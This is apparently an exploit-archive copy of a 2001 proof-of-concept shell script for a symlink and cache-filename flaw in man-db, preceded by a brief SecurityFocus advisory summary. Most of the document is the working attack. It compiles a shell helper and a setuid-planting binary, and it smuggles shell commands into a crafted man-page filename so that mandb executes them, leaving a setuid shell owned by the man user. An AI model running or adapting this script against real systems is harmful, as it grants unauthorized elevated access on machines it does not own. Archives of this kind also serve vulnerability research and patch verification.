108 lines
No EOL
3.4 KiB
Bash
Executable file
108 lines
No EOL
3.4 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/2815/info
|
|
|
|
A vulnerability exists in the 'man' system manual pager program.
|
|
|
|
It is possible for local users to cause man to cache files in the system cache directory from outside of the configured manual page hierarchy search path.
|
|
|
|
Combined with the behaviours of 'man' and 'mandb' or any other utilities which trust cache filenames, it may be possible to use this vulnerability to elevate privileges.
|
|
|
|
#!/bin/sh
|
|
###################################################
|
|
# Fri Jun 1 23:00:10 JAVT 2001 #
|
|
# ----------------------------------------------- #
|
|
# man MANPATH symlink redirection bugs #
|
|
# proof of concept. #
|
|
# version affected: #
|
|
# <= man-db 2.3.16-3,2.3.17-3.2 #
|
|
# #
|
|
# tested on: #
|
|
# debian2.2 -> instant man suidshell #
|
|
# #
|
|
# by jenggo <luki@karet.org> #
|
|
# #
|
|
# thanx to: echo, mayonaise all @ #karet #
|
|
# ==> Mr.dur,amien,mega,akbar ... damai,damai ;) #
|
|
###################################################
|
|
|
|
TMPDIR=/tmp/mywork
|
|
|
|
RAND=`/bin/date +%S`
|
|
echo "making working dir ..."
|
|
/bin/mkdir -p $TMPDIR/man/man1
|
|
/bin/chmod 777 $TMPDIR
|
|
/bin/chmod 777 $TMPDIR/man
|
|
|
|
echo "copying needed files ..."
|
|
if [ ! -x /usr/bin/groff ] || [ ! -x /usr/bin/grotty ] || [ ! -x /usr/bin/troff ] || [ ! -x /usr/bin/gcc ]; then
|
|
echo "Failed, I need executable : groff,grotty,troff,gcc"
|
|
echo "cleaning up ..."
|
|
/bin/rm -rf $TMPDIR
|
|
fi
|
|
|
|
/bin/cp /usr/bin/groff $TMPDIR
|
|
/bin/cp /usr/bin/grotty $TMPDIR
|
|
/bin/cp /usr/bin/troff $TMPDIR
|
|
|
|
echo "compiling helper ..."
|
|
/bin/cat > $TMPDIR/hehe.c <<EOF
|
|
#include <stdio.h>
|
|
|
|
int main()
|
|
{
|
|
char *aa[2]={"/bin/sh", NULL};
|
|
|
|
setreuid(6,6);
|
|
execve(aa[0], aa, NULL);
|
|
exit(0);
|
|
}
|
|
EOF
|
|
|
|
/usr/bin/gcc $TMPDIR/hehe.c -o $TMPDIR/hehe 2>/dev/null 1>/dev/null
|
|
|
|
/bin/cat > $TMPDIR/mandeb.c <<EOF
|
|
#include <stdio.h>
|
|
|
|
int main()
|
|
{
|
|
seteuid(6);
|
|
setuid(6);
|
|
system("/bin/cp /tmp/mywork/hehe /tmp/huhu");
|
|
system("/bin/chown man /tmp/huhu");
|
|
system("/bin/chmod 4755 /tmp/huhu");
|
|
exit(0);
|
|
}
|
|
EOF
|
|
|
|
/usr/bin/gcc $TMPDIR/mandeb.c -o $TMPDIR/mandeb 2>/dev/null 1>/dev/null
|
|
|
|
echo "making our manpage ..."
|
|
/bin/ln -s /var/cache/man/cat1 $TMPDIR/man/cat1
|
|
/bin/echo "bebas euy"|/bin/gzip -c > $TMPDIR/man/man1/"cihuy$RAND.1.gz;cd ..;cd ..;cd ..;cd ..;cd ..;cd tmp;cd mywork;export PATH=.;mandeb;echo ls.1.gz"
|
|
/bin/touch $TMPDIR/"cihuy$RAND.1.gz;cd ..;cd ..;cd ..;cd ..;cd ..;cd tmp;cd mywork;export PATH=.;mandeb;echo ls"
|
|
export PATH=$TMPDIR
|
|
/usr/bin/man "cihuy$RAND.1.gz;cd ..;cd ..;cd ..;cd ..;cd ..;cd tmp;cd mywork;export PATH=.;mandeb;echo ls" 2> /dev/null 1>/dev/null
|
|
|
|
echo "/bin/ls -la /var/cache/man/cat1"
|
|
/bin/ls -la /var/cache/man/cat1
|
|
export PATH=/var/cache:/bin:/sbin:/usr/bin:/usr/sbin
|
|
|
|
echo "exploiting ..."
|
|
/bin/rm -f /tmp/huhu
|
|
/usr/lib/man-db/mandb 2>/dev/null 1>/dev/null
|
|
/bin/rm -rf /tmp/mywork
|
|
|
|
echo
|
|
echo "/bin/ls -la /tmp"
|
|
/bin/ls -la /tmp
|
|
|
|
if [ -u /tmp/huhu ]; then
|
|
echo "file /tmp/huhu is setuid. Hope it's owned by man"
|
|
echo "Have a nice day"
|
|
echo "[----- jenggo <luki@karet.org> -----]"
|
|
/tmp/huhu
|
|
else
|
|
echo "exploit failed, cleaning up our binary ..."
|
|
fi
|
|
|
|
echo "cleaning up our preparation step dir ..."
|
|
/bin/rm -rf /tmp/$TMPDIR |